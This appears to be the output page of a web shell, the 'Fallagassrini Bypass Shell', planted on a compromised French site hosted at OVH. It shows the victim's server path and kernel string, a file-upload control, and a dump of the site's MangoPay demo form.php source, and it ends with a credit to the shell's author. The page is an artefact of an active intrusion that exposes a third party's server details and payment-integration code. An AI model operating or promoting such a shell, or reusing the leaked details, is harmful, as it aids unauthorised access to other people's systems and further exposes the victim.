Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/happyrenas/old/happy-and-pay.fr/administration/templates/admin3/mangopay/demos/api/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/happyrenas/old/happy-and-pay.fr/administration/templates/admin3/mangopay/demos/api/form.php

<?php
namespace MangoPay\Demo;
//require_once '../../MangoPaySDK/mangoPayApi.inc';
require_once '../../MangoPay/Autoloader.php';
require_once 'htmlHelper.php';
require_once 'config.php';

$module = @$_GET['module'];
if (!isset($module))
    return;

HtmlHelper::getHeader($module);

$details = explode('_', $module);
$entityName = @$details[0];
$subApiName = @$details[1];
$operation = @$details[2];
$subEntityName = @$details[3];
$filterName = @$details[4];
$subSubEntityName = @$details[5];
$entityId = (int)@$_POST['Id'];
$subEntityId = (int)@$_POST['IdSubEntity'];

if (isset($_POST['_postback']) && $_POST['_postback'] == '1') {

    try {
        $api = new \MangoPay\MangoPayApi();
        $api->Config->ClientId = MangoPayDemo_ClientId;
        $api->Config->ClientPassword = MangoPayDemo_ClientPassword;
        $api->Config->TemporaryFolder = MangoPayDemo_TemporaryFolder;

        $module = @$_GET['module'];
        if (isset($module) && strpos($module, '$Sort') !== false) {
            if (isset($_POST["_sort_"]) && !empty($_POST["_sort_"])){
                $sortFieldName = $_POST["_sort_"];
                $sortDirection = $_POST["_sort_direction_"];
                if (!isset($sortDirection)) {
                    $sortDirection = \MangoPay\SortDirection::ASC;
                }
                
                $sorting = new \MangoPay\Sorting();
                $sorting->AddField($sortFieldName, $sortDirection);
            }
        }
        
        // normal cases
        switch ($operation) {
            case 'Create':
                $entity = HtmlHelper::getEntity($entityName);
                $apiResult = $api->$subApiName->Create($entity);
                break;
            case 'Get':
                $apiResult = $api->$subApiName->Get($entityId);
                break;
            case 'Save':
                $entity = HtmlHelper::getEntity($entityName, $entityId);
                $apiResult = $api->$subApiName->Update($entity);
                break;
            case 'All':
                $pagination = HtmlHelper::getEntity('Pagination');
                $filter = null;
                if (isset($filterName) && $filterName != "")
                    $filter = HtmlHelper::getEntity($filterName);

                if (isset($filter) && !isset($sorting))
                    $apiResult = $api->$subApiName->GetAll($pagination, $filter);
                else if (!isset($filter) && isset($sorting))
                    $apiResult = $api->$subApiName->GetAll($pagination, $sorting);
                else if (isset($filter) && isset($sorting))
                    $apiResult = $api->$subApiName->GetAll($pagination, $filter, $sorting);
                else
                    $apiResult = $api->$subApiName->GetAll($pagination);

                print '<pre>';print_r($pagination);print '</pre>';
                if (isset($sorting)) {
                    print '<pre>Sort: ';print_r($sorting);print '</pre>';
                }
                break;
            case 'CreateSubEntity':
                $entity = HtmlHelper::getEntity($subEntityName);
                $methodName = 'Create'. $subEntityName;
                $apiResult = $api->$subApiName->$methodName($entityId, $entity);
                break;
            case 'CreateSubSubEntity':
                $entity = HtmlHelper::getEntity($subEntityName);
                $methodName = 'Create' . $subEntityName;
                $apiResult = $api->$subApiName->$methodName($entityId, $subEntityId, $entity);
                break;
            case 'GetSubEntity':
                $methodName = 'Get' . $subEntityName;
                $apiResult = $api->$subApiName->$methodName($entityId, $subEntityId);
                break;
            case 'SaveSubEntity':
                $entity = HtmlHelper::getEntity($subEntityName);
                $methodName = 'Update' . $subEntityName;
                $apiResult = $api->$subApiName->$methodName($subEntityId, $entity);
                break;
            case 'ListSubEntity':
                $pagination = HtmlHelper::getEntity('Pagination');
                $methodName = $subEntityName;
                $filter = null;
                if (isset($filterName) && $filterName != "")
                    $filter = HtmlHelper::getEntity($filterName);

                if (isset($filter) && !isset($sorting))
                    $apiResult = $api->$subApiName->$methodName($entityId, $pagination, $filter);
                else if (!isset($filter) && isset($sorting))
                    $apiResult = $api->$subApiName->$methodName($entityId, $pagination, $sorting);
                else if (isset($filter) && isset($sorting))
                    $apiResult = $api->$subApiName->$methodName($entityId, $pagination, $filter, $sorting);
                else
                    $apiResult = $api->$subApiName->$methodName($entityId, $pagination);
                
                print '<pre>';print_r($pagination);print '</pre>';
                if (isset($sorting))
                    print '<pre>Sort: ';print_r($_POST["_sort_"]);print '</pre>';
                    
                break;
            case 'CreatePageByFile':
                $methodName = 'Create' . $subEntityName . 'FromFile';
                $apiResult = $api->$subApiName->$methodName($entityId, $subEntityId, $_FILES['page_file']);
                break;
            case 'ContestDispute':
                $entity = HtmlHelper::getEntity($subEntityName);
                $apiResult = $api->$subApiName->$operation($entityId, $entity);
                break;
            case 'CloseDispute':
                $apiResult = $api->$subApiName->$operation($entityId);
                break;
        }
        
        print '<pre>';print_r($apiResult);print '</pre>';

    } catch (\MangoPay\Libraries\ResponseException $e) {
        
        echo '<div style="color: red;">\MangoPay\ResponseException: Code: ' . $e->getCode();
        echo '<br/>Message: ' . $e->getMessage();
        
       $details = $e->GetErrorDetails();
        if (!is_null($details))
            echo '<br/><br/>Details: '; print_r($details);
        echo '</div>';

    } catch (\MangoPay\Libraries\Exception $e) {
        
        echo '<div style="color: red;">\MangoPay\Exception: ' . $e->getMessage() . '</div>';
        
    }

} else {
    HtmlHelper::renderForm($entityName, $operation, array($subEntityName, $subSubEntityName), $filterName);
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net